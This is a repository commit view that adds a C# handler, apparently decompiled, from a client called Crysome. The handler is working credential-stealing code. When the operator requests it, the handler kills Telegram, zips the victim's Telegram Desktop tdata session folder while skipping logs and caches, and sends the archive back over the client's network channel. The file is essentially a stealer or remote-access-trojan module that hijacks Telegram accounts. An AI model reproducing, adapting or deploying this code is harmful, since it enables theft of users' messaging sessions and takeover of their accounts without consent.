initial commit
This commit is contained in:
@@ -0,0 +1,235 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
using System.Linq;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using Crysome.Common.Network;
|
||||
using Crysome.Common.Network.Packets;
|
||||
using Crysome.Common.Network.Packets.Client;
|
||||
|
||||
namespace Crysome.Client.Handlers;
|
||||
|
||||
public static class TelegramHandlers
|
||||
{
|
||||
private static readonly string[] TdataPaths = new string[2]
|
||||
{
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Telegram Desktop\\tdata"),
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Telegram Desktop\\tdata")
|
||||
};
|
||||
|
||||
private static readonly string[] BlacklistDirs = new string[14]
|
||||
{
|
||||
"dumps", "emojis", "emoji", "user_data", "working", "tdummy", "user_data#2", "user_data#3", "user_data#4", "user_data#5",
|
||||
"updates", "temp", "log.txt", "log_full.txt"
|
||||
};
|
||||
|
||||
private const long MaxZipBytes = 52428800L;
|
||||
|
||||
private const long MaxFileBytes = 10485760L;
|
||||
|
||||
public static void HandleTelegramSessionRequest(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
Task.Run(delegate
|
||||
{
|
||||
DoCollectTelegramSession(client);
|
||||
});
|
||||
}
|
||||
|
||||
private static void DoCollectTelegramSession(CrysomeClient client)
|
||||
{
|
||||
string userName = "";
|
||||
try
|
||||
{
|
||||
userName = Environment.UserName;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
KillTelegram();
|
||||
string text = TdataPaths.FirstOrDefault((string p) => Directory.Exists(p) && Directory.GetFileSystemEntries(p).Length != 0);
|
||||
if (string.IsNullOrEmpty(text))
|
||||
{
|
||||
Send(client, userName, null, "Telegram tdata not found.");
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
byte[] array = ZipTdata(text);
|
||||
if (array == null || array.Length == 0)
|
||||
{
|
||||
Send(client, userName, null, "tdata folder is empty or all files were skipped.");
|
||||
}
|
||||
else
|
||||
{
|
||||
Send(client, userName, array, null);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.Log("TelegramSession error: " + ex.Message);
|
||||
Send(client, userName, null, ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private static void KillTelegram()
|
||||
{
|
||||
string[] array = new string[2] { "Telegram", "telegram" };
|
||||
foreach (string processName in array)
|
||||
{
|
||||
try
|
||||
{
|
||||
Process[] processesByName = Process.GetProcessesByName(processName);
|
||||
foreach (Process process in processesByName)
|
||||
{
|
||||
try
|
||||
{
|
||||
process.Kill();
|
||||
process.WaitForExit(2000);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
finally
|
||||
{
|
||||
try
|
||||
{
|
||||
process.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
Thread.Sleep(800);
|
||||
}
|
||||
|
||||
private static byte[] ZipTdata(string tdataPath)
|
||||
{
|
||||
using MemoryStream memoryStream = new MemoryStream();
|
||||
using (ZipArchive zip = new ZipArchive(memoryStream, ZipArchiveMode.Create, leaveOpen: true))
|
||||
{
|
||||
long totalBytes = 0L;
|
||||
PackDirectory(zip, tdataPath, "", ref totalBytes);
|
||||
}
|
||||
return memoryStream.ToArray();
|
||||
}
|
||||
|
||||
private static void PackDirectory(ZipArchive zip, string dirPath, string entryBase, ref long totalBytes)
|
||||
{
|
||||
if (totalBytes >= 52428800)
|
||||
{
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
string[] files = Directory.GetFiles(dirPath);
|
||||
foreach (string text in files)
|
||||
{
|
||||
if (totalBytes >= 52428800)
|
||||
{
|
||||
break;
|
||||
}
|
||||
string fileName = Path.GetFileName(text);
|
||||
if (fileName.EndsWith(".txt", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
long num = 0L;
|
||||
try
|
||||
{
|
||||
num = new FileInfo(text).Length;
|
||||
}
|
||||
catch
|
||||
{
|
||||
continue;
|
||||
}
|
||||
if (num > 10485760 || num == 0L)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
string entryName = (string.IsNullOrEmpty(entryBase) ? fileName : (entryBase + "/" + fileName));
|
||||
try
|
||||
{
|
||||
using Stream stream = zip.CreateEntry(entryName, CompressionLevel.Optimal).Open();
|
||||
using FileStream fileStream = new FileStream(text, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);
|
||||
byte[] array = new byte[81920];
|
||||
int num2;
|
||||
while ((num2 = fileStream.Read(array, 0, array.Length)) > 0 && totalBytes + num2 <= 52428800)
|
||||
{
|
||||
stream.Write(array, 0, num2);
|
||||
totalBytes += num2;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
string[] files = Directory.GetDirectories(dirPath);
|
||||
foreach (string text2 in files)
|
||||
{
|
||||
if (totalBytes < 52428800)
|
||||
{
|
||||
string fileName2 = Path.GetFileName(text2);
|
||||
if (!IsBlacklisted(fileName2))
|
||||
{
|
||||
string entryBase2 = (string.IsNullOrEmpty(entryBase) ? fileName2 : (entryBase + "/" + fileName2));
|
||||
PackDirectory(zip, text2, entryBase2, ref totalBytes);
|
||||
}
|
||||
continue;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static bool IsBlacklisted(string name)
|
||||
{
|
||||
string[] blacklistDirs = BlacklistDirs;
|
||||
foreach (string b in blacklistDirs)
|
||||
{
|
||||
if (string.Equals(name, b, StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private static void Send(CrysomeClient client, string userName, byte[] zip, string error)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0006: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_000d: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_001d: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0032: Expected O, but got Unknown
|
||||
try
|
||||
{
|
||||
client.SendPacket((IPacket)new TelegramSessionResponsePacket
|
||||
{
|
||||
UserName = userName,
|
||||
ZipBytes = (zip ?? Array.Empty<byte>()),
|
||||
Error = (error ?? "")
|
||||
});
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.Log("TelegramSession send error: " + ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user